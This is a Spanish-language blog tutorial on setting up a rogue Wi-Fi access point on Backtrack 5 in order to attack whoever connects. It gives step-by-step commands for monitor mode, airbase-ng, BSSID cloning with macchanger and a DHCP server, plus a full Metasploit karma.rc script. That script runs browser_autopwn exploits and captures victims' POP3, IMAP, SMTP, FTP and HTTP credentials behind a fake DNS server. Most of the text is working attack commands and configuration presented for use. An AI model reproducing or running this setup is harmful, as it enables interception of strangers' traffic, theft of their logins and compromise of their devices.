Hoy vamos a ver como se puede crear un punto de acceso falso, con la finalidad de hacer que la gente se conecte al punto de acceso. Se puede realizar desde un robo de cookies hasta preparar una batería de exploits para que en el momento que alguien se conecte al rogue AP se lance el exploit si la victima es vulnerable.
Realmente este ataque sería similar a vulnerar una red wireless y hacer un Man in the Middle en ella, pero en este caso es más sencillo ya que al hacer de AP absolutamente todo el tráfico pasará por nosotros.
Aquí no sacaremos la clave de la red, lo cual hace que el ataque sea mucho más sencillo de detectar, pero realmente la idea sería copiar la ESSID, BSSID y la clave de la red.
Nuestro escenario se basa en un live cd de Backtrack 5 Gnome de 32 bits, el framework metasploit y herramientas como airmon-ng y dhcpcd. Empezamos!
Lo primero es saber cual es nuestra interfaz wifi con iwconfig:
root@root:~# iwconfig lo no wireless extensions. eth0 no wireless extensions. wlan0 IEEE 802.11bg ESSID:"mired" Mode:Managed Frequency:2.422 GHz Access Point: Bit Rate=54 Mb/s Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=46/70 Signal level=-64 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:1340 Missed beacon:0
Ahora ponemos la interfaz en modo monitor (o modo promicuo) con airmon-ng:
root@root:/# airmon-ng start wlan0 Found 5 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! PID Name 2684 dhclient3 2745 dhclient3 2976 wpa_supplicant 2991 dhclient 3010 dhclient Process with PID 2745 (dhclient3) is running on interface wlan0 Process with PID 2976 (wpa_supplicant) is running on interface wlan0 Process with PID 3010 (dhclient) is running on interface wlan0 Interface Chipset Driver wlan0 Atheros AR2425 ath5k - [phy0] (monitor mode enabled on mon0)
Ahora tenemos que modificar el archivo /etc/dhcp3/dhcpd.conf (En mi caso dhcpcd no estaba instalado en Backtrack, lo cual solucionamos con un apt-get install dhcp3-server)
option domain-name-servers 10.0.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 10.0.0.1; }
Ahora una vez configurados los dns hay que configurar la interfaz en modo promiscuo que nos proporcionó airmon-ng como AP con airbase-ng:
root@root~# airbase-ng -P -C 30 -e "WiFi" -v mon0 15:43:10 Created tap interface at0 15:43:10 Trying to set MTU on at0 to 1500 15:43:10 Trying to set MTU on mon0 to 1800 15:43:10 Access Point with BSSID XX:XX:XX:XX:XX:XX started.
Ahora, como paso opcional podemos cambiar la BSSID de la interfaz. Si queremos poner una aleatoria:
root@root~# ifconfig mon0 down && macchanger -r mon0 && ifconfig mon0 up
Sin embargo si queremos asignarle una BSSID en concreto, por ejemplo para hacer una red identica a otra:
root@root~# ifconfig mon0 down && macchanger -m XX:XX:XX:XX:XX:XX mon0 && ifconfig mon0 up
En este punto tendremos una interfaz cuyo nombre es at0, pues tenemos que levantarla, asignar una IP y una máscara de red:
root@root~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
Ahora utilizamos el fichero dhcpd.conf para el dhcpd3, lo pasamos con -cf:
root@root~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Saltará un error al arracar dhcp en la interfaz, pero porque no se puede crear el archivo PID. Aún asi funciona el dhcp en la interfaz.
Ahora, viene la parte de karma.rc que es un script que pone en escucha en varios protocolos como http, smtp, ftp además de cargar exploits autoejecutables en caso de que nuestra victima sea vulnerable a ellos.
load db_sqlite3 db_create /root/karma.db use auxiliary/server/browser_autopwn setg AUTOPWN_HOST 10.0.0.1 setg AUTOPWN_PORT 55550 setg AUTOPWN_URI /ads set LHOST 10.0.0.1 set LPORT 45000 set SRVPORT 55550 set URIPATH /ads run use auxiliary/server/capture/pop3 set SRVPORT 110 set SSL false run use auxiliary/server/capture/pop3 set SRVPORT 995 set SSL true run use auxiliary/server/capture/ftp run use auxiliary/server/capture/imap set SSL false set SRVPORT 143 run use auxiliary/server/capture/imap set SSL true set SRVPORT 993 run use auxiliary/server/capture/smtp set SSL false set SRVPORT 25 run use auxiliary/server/capture/smtp set SSL true set SRVPORT 465 run use auxiliary/server/fakedns unset TARGETHOST set SRVPORT 5353 run use auxiliary/server/fakedns unset TARGETHOST set SRVPORT 53 run use auxiliary/server/capture/http set SRVPORT 80 set SSL false run use auxiliary/server/capture/http set SRVPORT 8080 set SSL false run use auxiliary/server/capture/http set SRVPORT 443 set SSL true run use auxiliary/server/capture/http set SRVPORT 8443 set SSL true run
Guardamos el archivo y ya está todo listo, para hacer que funcione solo hay que lanzar metasploit indicandole la ruta al archivo:
root@root~# /pentest/exploits/framework3/msfconsole -r /root/karma.rc
Una vez está todo funcionando, solo tenemos que esperar a que alguien se conecte a nuestro rogue AP y abra el navegador de internet. Aquí podemos ver una pequeña muestra de lo que nos enseña metasploit a nosotros cuando alguien se conecta: